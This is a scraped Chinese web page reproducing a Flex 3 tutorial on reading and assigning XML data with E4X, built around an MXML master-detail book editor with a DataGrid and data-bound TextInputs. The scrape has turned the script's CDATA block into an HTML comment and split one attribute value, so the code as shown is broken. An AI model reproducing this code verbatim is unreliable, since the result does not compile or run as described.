天天看點

Flex 3處理資料 通路 XML 資料2

<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>

對XML元素與屬性指派

使用@和點( . )操作符不隻可以從XML結構中讀取資料的值,也可以為其指派。

在下邊的例子中,建立一個XML結構master-detail視圖。master視圖包含一個DataGrid 元件,用來顯示書的清單。detail視圖包含控件,用來編輯master視圖中目前選中的圖書。

master 和detail視圖使用資料綁定和E4X來讀取和更新XML中的資料。

下邊的例子通過一下方法使用E4X:

  • myBooks.book引用book元素的XMLList對象。
  • myBook.book[selectedBookIndex]引用目前被選中的book元素。
  • myBook.book[selectedBookIndex].title引用目前被選中book元素的子元素title

要使用目前被選中圖書的title更新TestInput控件tiltleInput,需要綁定TestInput控件tiltleInput的 text屬性到myBooks.book[selectedBookIndex].title。類似地,要使用使用者最終輸入更新XML,當 TestInput控件tiltleInput的text屬性改變時,将TestInput控件tiltleInput的text屬性的值指派給 myBooks.book[selectedBookIndex].title。

detail視圖中的另一個元件使用同樣的方法正确的工作。

<?xml version="1.0" encoding="utf-8"?>

<mx:Application

xmlns:mx="http://www.adobe.com/2006/mxml"

width="500" height="470"

creationComplete="myDataGrid.selectedIndex=0;"

>

<mx:Script>

<!--[CDATA[

// Model: XML structure describing

// some of the books in my collection.

[Bindable]

private var myBooks:XML =

<books>

<book ISBN="1590595181">

<title>Foundation ActionScript Animation: Making Things Move</title>

<author>Keith Peters</author>

<amazonUrl>http://tinyurl.com/npuxt</amazonUrl>

</book>

<book ISBN="1582346194">

<title>Send in the Idiots: Stories from the Other Side of Autism</title>

<author>Kamran Nazeer</author>

<amazonUrl>http://tinyurl.com/lo5ts</amazonUrl>

</book>

</books>

]]-->

</mx:Script>

<!-- Keep track of the currently selected book -->

<mx:Number id="selectedBookIndex">{myDataGrid.selectedIndex}</mx:Number>

<!-- User interface -->

<mx:Panel

title="Assigning XML data"

paddingBottom="10" paddingLeft="10" paddingRight="10" paddingTop="10"

>

<!-- Master view: Display all books -->

<mx:DataGrid id="myDataGrid" dataProvider="{myBooks.book}">

<mx:columns>

<mx:DataGridColumn dataField="@ISBN" headerText="ISBN" width="85"/>

<mx:DataGridColumn dataField="title" headerText="Title"/>

<mx:DataGridColumn dataField="author" headerText="Author"/>

<mx:DataGridColumn dataField="amazonUrl" headerText="Web site">

<mx:itemRenderer>

<mx:Component>

<mx:LinkButton

label="Visit"

click="navigateToURL(new URLRequest(data.amazonUrl), 'blank');"

/>

</mx:Component>

</mx:itemRenderer>

</mx:DataGridColumn>

</mx:columns>

</mx:DataGrid>

<!-- Detail view: Display currently selected book for editing -->

<mx:Form width="100%" autoLayout="false">

<mx:FormHeading label="Edit book details"/>

<mx:FormItem label="ISBN:" width="100%">

<mx:TextInput

id="isbnInput"

width="100%"

text="{myBooks.book[selectedBookIndex].@ISBN}"

change="{myBooks.book[selectedBookIndex].@ISBN = isbnInput.text}"

/>

</mx:FormItem>

<mx:FormItem label="Title:" width="

100%">

<mx:TextInput

id="titleInput"

width="100%"

text="{myBooks.book[selectedBookIndex].title}"

change="{myBooks.book[selectedBookIndex].title = titleInput.text}"

/>

</mx:FormItem>

<mx:FormItem label="Author:" width="100%">

<mx:TextInput

id="authorInput"

width="100%"

text="{myBooks.book[selectedBookIndex].author}"

change="{myBooks.book[selectedBookIndex].author = authorInput.text}"

/>

</mx:FormItem>

<mx:FormItem label="Amazon Url" width="100%">

<mx:TextInput

id="amazonUrlInput"

width="100%"

text="{myBooks.book[selectedBookIndex].amazonUrl}"

change="{myBooks.book[selectedBookIndex].amazonUrl = amazonUrlInput.text}"

/>

</mx:FormItem>

</mx:Form>

</mx:Panel>

</mx:Application>